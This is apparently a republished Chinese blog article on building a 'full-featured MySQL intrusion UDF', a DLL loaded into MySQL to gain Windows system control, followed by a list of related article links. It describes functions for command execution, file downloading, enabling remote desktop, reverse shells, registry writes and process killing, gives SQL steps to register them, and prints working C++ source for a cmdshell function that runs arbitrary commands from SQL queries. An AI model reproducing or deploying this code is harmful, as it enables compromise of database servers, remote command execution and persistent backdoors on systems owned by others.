现在网上通过mysql获得系统权限大都通过MYSQL的用户函数接口UDF,比如Mix.dll和my_udf.dll。在Mix.dll中有一个MixConnect函数它会反弹shell,但是使用这个函数会造成MYSQL假死,前些天我就用这个函数反弹shell后由于网络原因不一会儿就断开了,造成了MYSQL当掉。my_udf.dll和Mix.dll相似,但它是通过my_udfdoor函数在服务器上侦听3306端口,用nc正向连接获得shell,但它的功能显的少了点,于是我决定自己写一个功能强大,运行稳定的UDF。

MYSQL有一个开发包,它定义了自己的接口,变量类型,以及函数执行顺序。比如我们要写一个open3389函数,我们可以这样写:

extern "C" __declspec(dllexport)my_bool open3389_init(UDF_INIT *initid, UDF_ARGS *args, char *message)

{

//在open3389函数之前调用,一般用于初始化工作,为可选函数;

//return 1出错 ,0 正常

return 0;

}

extern "C" __declspec(dllexport)char *open3389(UDF_INIT *initid, UDF_ARGS *args,char *result, unsigned long *length,char *is_null, char *error)

{

//真正实现功能的函数,必需函数;

/*

函数内容;

return 结果;

*/

}

extern "C" __declspec(dllexport)void open3389_deinit(UDF_INIT *initid)

{

//在open3389函数之后调用,一般用于内存释放,可选函数;

}

以上的open3389函数的返回值是char *类型的,如果是其它类型函数的参数列表也会有所不同,具体的可见MYSQL参考手册。

在写MYSQL UDF时另一个必须考虑的问题是程序的稳定时,它要经的起各种变态输入的考验,否则一旦程序出错MYSQL服务进程就会当掉。

以下是我写的UDF内容,它包含10个函数:

cmdshell 执行cmd;

downloader 下载者,到网上下载指定文件并保存到指定目录;

open3389 通用开3389终端服务,可指定端口(不改端口无需重启);

backshell 反弹Shell;

ProcessView 枚举系统进程;

KillProcess 终止指定进程;

regread 读注册表;

regwrite 写注册表;

shut 关机,注销,重启;

about 说明与帮助函数;

使用方法:

创建函数:create function 函数名(区分大小写) returns string soname 'dll名' (注意路径);

删除函数:delete function 函数名;

使用函数:select 函数名(参数列表);获取参数信息可使用select 函数名("help");

以上几个函数都经过多次的测试(测试平台:MYSQL 5.0.24-community-nt、Windows XP),不太可能会造成MYSQL假死等现象,但也不排除在特殊环境,特殊输入的情况下出错的可能,如发现bug可通知我,QQ:185826531(langouster)

//--------------------------------------------------------------------------源程序

// MYSQL_UDF.cpp : 定义 DLL 应用程序的入口点。

#include "stdafx.h"

#include "stdio.h"

#include

#include

#include

#include

#include

#include "mysql.h"

#include "resource.h"

#pragma comment(lib, "Urlmon.lib")

HANDLE g_module;

//--------------------------------------------------------------------------------------------------------------------------

BOOL APIENTRY DllMain(HINSTANCE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)

{

if(ul_reason_for_call==DLL_PROCESS_ATTACH)

g_module=hModule;

return TRUE;

}

//--------------------------------------------------------------------------------------------------------------------------cmdshell

extern "C" __declspec(dllexport)my_bool cmdshell_init(UDF_INIT *initid, UDF_ARGS *args, char *message)

{//return 1出错 ,0 正常

initid->max_length=65*1024*1024;

return 0;

}

extern "C" __declspec(dllexport)char *cmdshell(UDF_INIT *initid, UDF_ARGS *args,char *result, unsigned long *length,char *is_null, char *error)

{

if(args->arg_count!=1 || args->arg_type[0]!=STRING_RESULT || stricmp(args->args[0],"help")==0)

{

initid->ptr=(char *)malloc(200);

if(initid->ptr==NULL)return NULL;

strcpy(initid->ptr,"执行CMD Shell函数.

例:select cmdshell(\"dir c:\\\\\");

参数中的\"\\\"要用\"\\\\\"代替.");

*length=strlen(initid->ptr);

return initid->ptr;

}

int RunStatus=0;

char *cmdline,TempFilePath[MAX_PATH],ShellPath[MAX_PATH],temp[100];

DWORD size=0,len;

HANDLE hFile;

GetSystemDirectory(ShellPath,MAX_PATH-1);

strcat(ShellPath,"\\cmd.EⅩE");

GetEnvironmentVariable("temp",TempFilePath,MAX_PATH-1);

strcat(TempFilePath,"\\2351213.tmp");

cmdline=(char *)malloc(strlen(args->args[0])+strlen(TempFilePath)+7);

strcpy(cmdline," /c ");

strcat(cmdline,(args->args)[0]);

strcat(cmdline,">");

strcat(cmdline,TempFilePath);

STARTUPINFO si;

PROCESS_INFORMATION pi;

ZeroMemory( &si, sizeof(si) );

si.wShowWindow=SW_HIDE;

si.cb = sizeof(si);

ZeroMemory( &pi, sizeof(pi) );

RunStatus=CreateProcess(ShellPath,cmdline,NULL,NULL,FALSE,0,0,0,&si,&pi);

free(cmdline);

if(!RunStatus)

{

itoa(GetLastError(),temp,10);

sprintf(temp,"Shell无法启动,GetLastError=%s

",temp);

initid->ptr=(char *)malloc(strlen(temp)+1);

strcpy(initid->ptr,temp);

(*length)=strlen(initid->ptr);

return initid->ptr;

}

WaitForSingleObject(pi.hProcess,30000);

//获得结果

hFile=CreateFile(TempFilePath,GENERIC_READ,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL);

if(hFile!=INVALID_HANDLE_VALUE)

{

size=GetFileSize(hFile,NULL);

initid->ptr=(char *)malloc(size+100);

ReadFile(hFile,initid->ptr,size+1,&len,NULL);

(initid->ptr)[size]='\0';

strcat(initid->ptr,"

--------------------------------------------完成!

");

CloseHandle(hFile);

DeleteFile(TempFilePath);

}

else

{

initid->ptr=(char *)malloc(100);

strcpy(initid->ptr,"

--------------------------------------------完成!

");

}

(*length)=strlen(initid->ptr);

return initid->ptr;

}

extern "C" __declspec(dllexport)void cmdshell_deinit(UDF_INIT *initid)

{

if(initid->ptr!=NULL)

free(initid->ptr);

}

小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里注册账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!

免责声明:本站系公益性非盈利IT技术普及网,本文由投稿者转载自互联网的公开文章,文末均已注明出处,其内容和图片版权归原网站或作者所有,文中所述不代表本站观点,若有无意侵权或转载不当之处请从网站右下角联系我们处理,谢谢合作!

mysql udf安全_打造全功能MYSQL入侵UDF相关推荐

  1. mysql数字字符串教程_很全面的mysql字符串函数的教程

    说明:如果结果的长度大于服务器参数max_allowed_packet,字符串值函数返回NULL. 对于针对字符串位置的操作,第一个位置被标记为1. ASCII(str) 返回字符串str的最左面字符 ...

  2. mysql cnf参数_系统运维|MySQL my.cnf参数配置优化详解

    本配置文件针对Dell R710,双至强E5620.16G内存的硬件配置.CentOS 5.6 64位系统,MySQL 5.5.x 稳定版.适用于日IP 50-100w,PV 100-300w的站点, ...

  3. php mysql安装配置_转载:PHP,MySQL的安装与配置

    一.安装配置PHP 把php.ini-production另存为php.ini.修改其内容: 1)extension_dir = "D:/php-5.4.45/ext"设置指定的扩 ...

  4. mysql级联删除_近百道MySQL面试题和答案(2020收藏版)(完结篇)

    7. 什么是死锁?怎么解决? 死锁是指两个或多个事务在同一资源上相互占用,并请求锁定对方的资源,从而导致恶性循环的现象. 常见的解决死锁的方法 1.如果不同程序会并发存取多个表,尽量约定以相同的顺序访 ...

  5. mysql query 优化_第 8 章 MySQL 数据库 Query 的优化

    前言: 在之前"影响 MySQL 应用系统性能的相关因素"一章中我们就已经分析过了Query语句对数据库性能的影响非常大,所以本章将专门针对 MySQL 的 Query 语句的优化 ...

  6. mysql数据库访问控制_一文总结MySQL数据库访问控制实现原理

    MySQL 访问控制实际上由两个功能模块共同组成,一个是负责"看守 MySQL 大门"的用户管理模块,另一个就是负责监控来访者每一个动作的访问控制模块.用户管理模块决定用户是否能登 ...

  7. 最全的mysql 5.7.13_最全的mysql 5.7.13 安装配置方法图文教程(linux) 强烈推荐!

    linux环境Mysql 5.7.13安装教程分享给大家,供大家参考,具体内容如下 1系统约定 安装文件下载目录:/data/software Mysql目录安装位置:/usr/local/mysql ...

  8. mac mysql密码错误_解决mac 下mysql安装后root用户登录密码错误问题

    使用的mac OS 10.11  安装mysql后访问root/root用户失败,网上找了一些解决办法,下面记录下解决方法方便以后自己查询 概述(看懂下面就不用看了): 停服务:sudo /usr/l ...

  9. mysql架构组成_第 2 章 MySQL 架构组成

    麻雀虽小,五脏俱全.MySQL 虽然以简单著称,但其内部结构并不简单.本章从MySQL物理组成.逻辑组成,以及相关工具几个角度来介绍 MySQL 的整体架构组成,希望能够让读者对 MySQL 有一个更 ...

最新文章

  1. 第十七届全国大学智能车竞赛STC芯片申请方法
  2. python画三维立体图-如何在论文中画出漂亮的插图?
  3. .NET 中 async 和 await
  4. idea清理svn信息_IntelliJ IDEA SVN的账号修改 信息清除
  5. StringStringBuilder的使用
  6. java 分享巧克力_[leetcode 双周赛 11] 1231 分享巧克力
  7. android刷机方法,介绍一种android的裸刷机方法(fastboot刷机实质)
  8. Ubuntu环境下sublime3 nodejs安装与插件配置
  9. websocket连接出现 HTTP Authentication failed; no valid credentials available
  10. hbase 特性与api
  11. Bailian2994 拼装模型【哈夫曼树】
  12. Java —— 正则表达式
  13. day15 匿名函数及常用内置函数
  14. JVM内存模型及String对象内存分配
  15. 惠普无线打印机服务器进不去,连接您的HP无线打印机 | 无线打印中心 | 惠普中国...
  16. 利用FreeImage对图像转格式遇到的问题一则
  17. 2021年中国液晶显示行业产业链分析:关键零部件国产化推进液晶显示行业发展 [图]
  18. 中国智慧VS西方智慧-看中国IT风云
  19. ESP32实战小项目-小气象站
  20. 异常来自 HRESULT:0x80070057 (E_INVALIDARG)

热门文章

  1. wordpress函数wp_http_validate_url畸形IP绕过验证SSRF漏洞
  2. Node.js 爬虫初探
  3. [置顶]       Python编程-混合编程(C++,python,opencv)实现
  4. 微软十大软件开发英雄评选
  5. C++获取CPU信息应用经验分享
  6. OO_2019_第一单元总结——表达式求导
  7. postgresql数据库导入导出
  8. day17 appium环境搭建
  9. 2018.01.25-现货黄金复盘
  10. iOS for 和 forin 的区别 以及注意事项